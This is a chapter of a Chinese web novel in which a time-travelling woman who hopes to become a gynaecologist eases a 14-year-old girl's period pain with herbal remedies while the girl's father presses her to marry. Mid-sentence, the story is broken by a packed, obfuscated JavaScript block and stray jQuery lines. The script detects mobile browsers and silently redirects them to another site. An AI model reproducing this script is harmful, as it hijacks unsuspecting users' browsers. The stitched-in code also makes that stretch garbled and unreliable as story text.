5. 第五章
作品:《温柔医娘驯疯侯》 婆子做了几十年的媒,还没受过这等奇耻大辱,当场站起身指着程青青鼻子臭骂:“我呸!什么糟烂玩意儿,没人要的赔钱货!等着烂死臭死吧!”
“张婆婆您别生气,这孩子欠收拾,我一定好好教训她,烦请您好生找个人家才是。”程骜急得手足无措,拉着媒婆好言好语客气得很。
媒婆一声嗤笑:“就你这样的女儿还想嫁出去,一点的教养都没有,你这生意我也不做了。”
说罢拂袖而去。
程骜气得头顶冒烟,抄起桌上的鸡毛掸子就往程青青身上招呼。
“你这个混账东西!好不容易请了个靠谱的媒婆来,你就这么胡闹?还想不想嫁人了?”
程青青左躲右闪,愣是没挨着几下,拿着凳子挡住她爹的鸡毛掸子,咬牙切齿道:“你想让我嫁人,没门!”
“你十四了,不嫁人要做什么?一辈子穿这身衣裳走街串巷卖药,像话吗?”
“那正好,我养活得了自己,嫁人做什么?”
“你放屁!”程骜没有她体力好,在屋子里追了半晌,停下来喘气,“你一个女子,就是要嫁人生娃的,不成亲,要纳人头税不说,这左邻右舍怎么说我?”
“我管他!我就不嫁人,就不生娃,你实在嫌弃我,我上山做姑子去!”
一听她要去当姑子,程骜更是火冒三丈,再次举起鸡毛掸子朝她身上打去:“你这个不孝子,看我不打死你!打死你,也不用嫁人生娃!”
程青青被打得乱跳。
两父女在屋里乱作一团,栗岫云站在门外,却不知道该如何劝和,只好傻愣愣站着。
看来父母催婚,哪朝哪代都一样啊。
她妈妈也老是念叨,说她这样大年纪,也该结婚了,过了二十八岁,可就错过了最佳生育年龄,生孩子会很辛苦的。
没过一会儿,程骜打累了,程青青也跑不动了。
程骜喘着粗气,对着栗岫云说:“小云,你……你好好劝劝她。”
“啊?”栗岫云张了张嘴,却一个字也说不出来。
这怎么劝啊?才十四岁的小姑娘,放在现代还是个初中生呢……
关于成亲的争吵一直持续到次日晚饭。
程骜改变了策略,从早起就拉着程青青,温言细语的劝说,她年纪快到了,现在相看,明年完婚,一点不耽误。
成婚后,也能有个依靠,还有婆家人疼她,还答应她,一定找个妥帖的婆家,不让她受委屈,要是以后受委屈,他一定帮他撑腰。
可程青青油盐不进,怎么劝都不听。
晚饭桌上,她憋了一天的火气终于爆发,跟只炸了毛的猫似的,“啪”地一下把筷子摔在桌上,眼泪跟断了线的珠子似的往下滚。
“你磋磨死我娘还不够,现在又来磋磨我!我不嫁!这辈子都不嫁人!你死了这条心吧!”
她骂完,晚饭也没吃,哭着回房间去了。
程骜说到一半的话咽了回去,神色颓然的放下碗筷,也没了吃饭的心情,看着栗岫云,讪讪一笑:“小云,你吃吧,我一会来洗碗。”
栗岫云心里也跟堵着一块大石头似的,上不来气。
她听着程骜情真意切劝一天,嘴巴都说起皮了,她都动摇了,不想程青青却这样执拗。
毕竟繁衍子嗣是人类本能,这个时代,一个女子不成家,不生儿育女,还有什么价值?
她端着程青青喜欢吃的菜,来到她屋前。
“青青,开下门好吗?”
“云姐姐……”屋里传来程青青带着呻吟的声音,以及沉重缓慢的脚步声。
栗岫云感觉不妙。
果然,门一打开,程青青捂着肚子,眉头紧皱,面无血色。
“云姐姐,我肚子好痛……”
栗岫云直接把托盘放到地上,扶着她回到床上。
这会儿,程青青捂着肚子蜷缩成一团,嘴里哎哟哎哟叫唤着,额头沁出一层薄汗。
栗岫云摸着她的肚子问道:“你是来月事了吗?”
程青青艰难点点头。
“你等等。”
栗岫云匆匆对她说了一句,即刻出门去灶上烧上热水,然后去前厅的药柜里,找了熟地黄、当归、白芍、川穹。
这是最早记载于宋朝的四物汤方剂,正是调经的常用药方,还可以根据患者情况适当添加其他药物,只是栗岫云不会把脉,先给程青青吃最基本的看看情况。
熬药是个麻烦活,先冲洗干净,再冷水浸泡三十分钟以上,再熬煮三十分钟,才能保证最好的药效。
趁着泡药材的时间,她又抓了些艾叶、益母草、香附,加了一点粗盐,研磨成粉末,用洗脸毛巾包起来,在热锅里蒸热乎后,给程青青送了去。
这时候程青青已经疼得在床上翻来滚去,汗都把头发打湿了。
“青青,别怕,把这个敷在肚子上。”
栗岫云轻声安慰着,等她稍微平静点,就把温热的药包放在她小腹上,用手轻轻揉着。
“放松点,跟着我吸气……呼气……”
就这么反复引导了好几轮,见程青青呼吸平稳些了,她才柔声问:“感觉好点没?”
程青青仰着汗津津的小脸,勉强扯出个笑:“肚子暖暖的,没那么疼了。”
“你每次来月事都这样吗?”
“以前也痛,只是这次……痛得格外厉害。”程青青声音依旧虚弱。
栗岫云心中了然,温声道:“这是因为你跟你爹置气,肝气郁结不畅,气滞则血瘀,经血不通,腹痛自然就加剧了。青青,凡事还是要放宽心些,爱惜自己的身子最要紧。”
“我也不想生气的……”程青青抬手擦了擦眼角的泪,声音带着委屈。
“就那么不想嫁人吗?是怕将来的丈夫对你不好吗?”
程青青闻言,突然伸手紧紧抓住栗岫云的袖子,眼里满是恐惧:“云姐姐,我不是怕他不好,我是怕……怕像我娘那样,生孩子的时候难产死了……”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946945|193028||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>话说完,眼泪又忍不住涌了出来。
栗岫云心里一揪,赶紧帮她擦眼泪,眼里满是心疼。
原来这孩子不是任性,是亲眼见过母亲难产的惨状,心里留下了阴影。
程青青吸了吸鼻子,愤愤不平:“真是可恨!我为何偏偏投生成女儿身?每个月都要受这遭罪!”
栗岫云看着她,心里忽然明白过来,难怪程青青总爱打扮成男孩子模样,原来是想躲开这些女人逃不开的苦。
只是痛经在一定程度上虽无法避免,但通过各种手段减轻还是可以的。
“你爹是郎中,你没让他帮你看看?”
“他知道什么?以前我娘痛得不行的时候,他还不是照常出门看诊,有时,还觉着我娘矫情,故意装来给他看的!”
“你娘也这么痛吗?”
程青青艰难点点头:“岂止是痛,每次来月事,没有十天都干净不了,她整个人浑身无力、茶饭不思,看得我心疼死了。”
“你娘是不是滑过胎?”
程青青蓦地一怔:“云姐姐,你怎么知道她滑过胎?”
“若是滑过胎,或是生产后月子没坐好,黏膜受损,来月事的时候就容易淋漓不尽。”
程青青得到了某种肯定:“我就说,是爹把她搓磨死的!男人真是可恶!”
栗岫云赶紧拍拍她:“好了,别生气了,管他男人女人,爱惜自己的身体最要紧。我去给你煎药,喝了好好睡一觉,明天我再给你看看。”
“煎药?”程青青支起身子来,“这是病吗?”
“一般来说不是病,但痛到你这种程度,就是病了。”
“是吗?我娘总说女人就是这样的,我一直以为这是正常的呢。”
栗岫云没说话,心里挺不是滋味。
多少女人都是这样?因为这种事羞于启齿,就把本该治的病痛当成了正常现象。
这也是她想做妇产科医生的初衷。
女人的病,还是女人看才贴心,也不用觉得难为情。
她摸了摸程青青的脸,转身出屋熬药去了。
次日,她找了几张麻纸裁开,装订成小册子,郑重的在封皮上写下“程青青”三个字。
程青青凑过脑袋来:“这是什么啊?”
“病历本,用来记录你这段时间用药和恢复的情况。”
程青青疑惑:“你说话果然怪怪的,这不就是病案吗?”
栗岫云笑了笑:“对,就是病案。我要写一本属于我自己的病案,你是第一个病人。”
“那我深感荣幸,为云姐姐的伟大事业开疆拓土。”
“你现在感觉怎样?”
“好得很!我觉得我能打死一头老虎!”
“这么厉害?那我这药不成仙丹了?”
“那可不,我说了会支持你当医女的。”程青青拍了拍她的肩膀,“飞黄腾达可要分我一杯羹啊。”
“什么当医女?”程骜的声音蓦然响起,带着几分诧异。

